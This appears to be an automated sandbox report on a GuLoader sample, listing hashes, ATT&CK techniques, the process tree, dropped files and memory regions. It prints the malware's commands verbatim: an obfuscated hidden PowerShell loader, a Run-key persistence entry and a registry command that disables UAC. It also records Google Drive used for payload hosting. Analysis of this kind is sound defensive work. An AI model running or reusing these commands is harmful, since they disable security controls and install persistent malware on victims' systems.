guloader | 2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb

Analysis

max time kernel
151s
max time network
162s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29-06-2024 01:08

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General

Target

2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
Size

644KB
MD5

d74661d8a3692de49effeb307b9731a2
SHA1

a15f8f10b4e476d92bb5ad0c719e2b81292c80d5
SHA256

2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb
SHA512

66b85287ac07d28bf144164e205ef133c089e53bad40919eab1f81f10acde4db4e26a87627f0ee854e808efed6b17cf86dec3548ce6bb54958d20c676400bd91
SSDEEP

6144:z9KOQS4B4GMSGJpFhVZ36H1UZ4n1XktJoOo0De6PXf/DPqLXETqXoWi8ZRNe4o+F:zsB4GOVFVTop6PzPDqZoy+cRPX

Score

10^/10

guloader downloader evasion execution persistence trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4480 powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

pid	process
4480	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe

pid	process
2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Messalian21 = "%Superphlogisticate% -windowstyle minimized $Ramningerne=(Get-ItemProperty -Path 'HKCU:\\Extirpating241\\').Electrodynamometres;%Superphlogisticate% ($Ramningerne)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

53 drive.google.com
52 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

4504 wab.exe
4504 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

4480 powershell.exe
4504 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4480 set thread context of 4504 4480 powershell.exe wab.exe
Drops file in Windows directory 1 IoCs

Processes:

2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini 2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

1776 reg.exe
4336 reg.exe
Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exe

pid process

4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
4480 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

4480 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4480 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

4504 wab.exe

flow	ioc
53	drive.google.com
52	drive.google.com

pid	process
4504	wab.exe
4504	wab.exe

pid	process
4480	powershell.exe
4504	wab.exe

description	pid	process	target process
PID 4480 set thread context of 4504	4480	powershell.exe	wab.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe

pid	process
1776	reg.exe
4336	reg.exe

pid	process
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe

pid	process
4480	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4480	powershell.exe

pid	process
4504	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exepowershell.exewab.execmd.execmd.exe

description	pid	process	target process
PID 2252 wrote to memory of 4480	2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe	powershell.exe
PID 2252 wrote to memory of 4480	2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe	powershell.exe
PID 2252 wrote to memory of 4480	2252	2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe	powershell.exe
PID 4480 wrote to memory of 4504	4480	powershell.exe	wab.exe
PID 4480 wrote to memory of 4504	4480	powershell.exe	wab.exe
PID 4480 wrote to memory of 4504	4480	powershell.exe	wab.exe
PID 4480 wrote to memory of 4504	4480	powershell.exe	wab.exe
PID 4480 wrote to memory of 4504	4480	powershell.exe	wab.exe
PID 4504 wrote to memory of 2252	4504	wab.exe	cmd.exe
PID 4504 wrote to memory of 2252	4504	wab.exe	cmd.exe
PID 4504 wrote to memory of 2252	4504	wab.exe	cmd.exe
PID 2252 wrote to memory of 1776	2252	cmd.exe	reg.exe
PID 2252 wrote to memory of 1776	2252	cmd.exe	reg.exe
PID 2252 wrote to memory of 1776	2252	cmd.exe	reg.exe
PID 4504 wrote to memory of 1968	4504	wab.exe	cmd.exe
PID 4504 wrote to memory of 1968	4504	wab.exe	cmd.exe
PID 4504 wrote to memory of 1968	4504	wab.exe	cmd.exe
PID 1968 wrote to memory of 4336	1968	cmd.exe	reg.exe
PID 1968 wrote to memory of 4336	1968	cmd.exe	reg.exe
PID 1968 wrote to memory of 4336	1968	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe
"C:\Users\Admin\AppData\Local\Temp\2f7437764773163ebee47f26a6f382c433f9c79207098ae31bc8de8120bd23bb.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2252

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Pilchard=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Lagunes.Dub170';$Geoponic=$Pilchard.SubString(72996,3);.$Geoponic($Pilchard)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4480

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Messalian21" /t REG_EXPAND_SZ /d "%Superphlogisticate% -windowstyle minimized $Ramningerne=(Get-ItemProperty -Path 'HKCU:\Extirpating241\').Electrodynamometres;%Superphlogisticate% ($Ramningerne)"
4⤵
- Suspicious use of WriteProcessMemory
PID:2252

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Messalian21" /t REG_EXPAND_SZ /d "%Superphlogisticate% -windowstyle minimized $Ramningerne=(Get-ItemProperty -Path 'HKCU:\Extirpating241\').Electrodynamometres;%Superphlogisticate% ($Ramningerne)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:1776

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
5⤵
- UAC bypass
- Modifies registry key
PID:4336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8
1⤵
PID:1812

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat
Filesize
144B

MD5
d6b79e744ac5a0d8c91962792796d3c2

SHA1
8bd5905e0174ed16bc37a397b497ab83717c2411

SHA256
5f1f943ea96b87a526ba098307ea0ed47993686f2e2dbb5a51e1da6d5a2c4e17

SHA512
57f51a18bf6233145984849bd124cd1df2311666f64d60ec8fa74f0d5d4dce5bb96b4627e6c4c57c7da86b4cea55afe624a22cc19a37e3bb01ccafc08c28da70

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btsk4x55.2d2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsc3237.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsc3237.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsc3237.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsc3237.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Energiraadet125.inc
Filesize
320KB

MD5
6d0817a4f4727ba8ea14ff6ca857e58d

SHA1
fe09e3ecf6a23f6555302b051d242a2cb7e541b3

SHA256
304599166bb4aa34363da2d093f62db8dafea05bc6f4e244f698c32123cd6705

SHA512
2f24b195c2d74eb37944606709831530c6c368fed75bddacade5d98249e0f0d62a5fadd9d06f83cf0c810716e1d38c90feac7e2d9f04081dedaadfcbbe23c4fe

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Lagunes.Dub170
Filesize
71KB

MD5
47a79039251a5e4691e49f68b7ff0548

SHA1
eae91a21e99861a1a9f56c878ac1918bcda22089

SHA256
930794300c92f055d24cf92e8ad29dc41737f2adfe0f9c0371fe26e2d5b00dd0

SHA512
5b97980501a6f8f81c7d41ba1ae0811a88df9143aace7588f440ec2a59357e3a6ba893789cff65dcb17ef15b6ea9c9defd54d021171c1fda953b74fdd363ec52

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
1KB

MD5
22aee331c9f592ff9cb1a6433106ef6a

SHA1
7931f29c84a65f70ebd59b548322c1c26da5f023

SHA256
d21f774e3b7e22d89713649e72f4315333c5d877eeb71af2467557905a6d4e4c

SHA512
668a65186cf10dfef0837992d8c3313ca3610ee6968e87bfe5e01a6cbcf74224349ea51266082cef6fceee347ffa0c378d8a668eae54d386d71c58727c15e10a

Download Submit
memory/4480-176-0x0000000006280000-0x00000000062A2000-memory.dmp

Filesize
136KB

Download
memory/4480-181-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-159-0x0000000004D60000-0x0000000004DC6000-memory.dmp

Filesize
408KB

Download
memory/4480-160-0x0000000005000000-0x0000000005066000-memory.dmp

Filesize
408KB

Download
memory/4480-157-0x0000000005120000-0x0000000005748000-memory.dmp

Filesize
6.2MB

Download
memory/4480-166-0x0000000005750000-0x0000000005AA4000-memory.dmp

Filesize
3.3MB

Download
memory/4480-171-0x0000000002A20000-0x0000000002A3E000-memory.dmp

Filesize
120KB

Download
memory/4480-172-0x0000000005D60000-0x0000000005DAC000-memory.dmp

Filesize
304KB

Download
memory/4480-173-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-174-0x0000000006F40000-0x0000000006FD6000-memory.dmp

Filesize
600KB

Download
memory/4480-175-0x0000000006230000-0x000000000624A000-memory.dmp

Filesize
104KB

Download
memory/4480-156-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-177-0x0000000007590000-0x0000000007B34000-memory.dmp

Filesize
5.6MB

Download
memory/4480-155-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-179-0x00000000081C0000-0x000000000883A000-memory.dmp

Filesize
6.5MB

Download
memory/4480-158-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

Filesize
136KB

Download
memory/4480-154-0x0000000000EC0000-0x0000000000EF6000-memory.dmp

Filesize
216KB

Download
memory/4480-183-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-184-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

Filesize
4KB

Download
memory/4480-186-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-187-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-188-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-189-0x0000000008840000-0x000000000CDB9000-memory.dmp

Filesize
69.5MB

Download
memory/4480-190-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-191-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-192-0x0000000073AF0000-0x00000000742A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-153-0x0000000073AFE000-0x0000000073AFF000-memory.dmp

Filesize
4KB

Download
memory/4504-194-0x00000000775D8000-0x00000000775D9000-memory.dmp

Filesize
4KB

Download
memory/4504-195-0x0000000077551000-0x0000000077671000-memory.dmp

Filesize
1.1MB

Download
memory/4504-196-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/4504-210-0x00000000022E0000-0x0000000006859000-memory.dmp

Filesize
69.5MB

Download
memory/4504-193-0x0000000077551000-0x0000000077671000-memory.dmp

Filesize
1.1MB

Download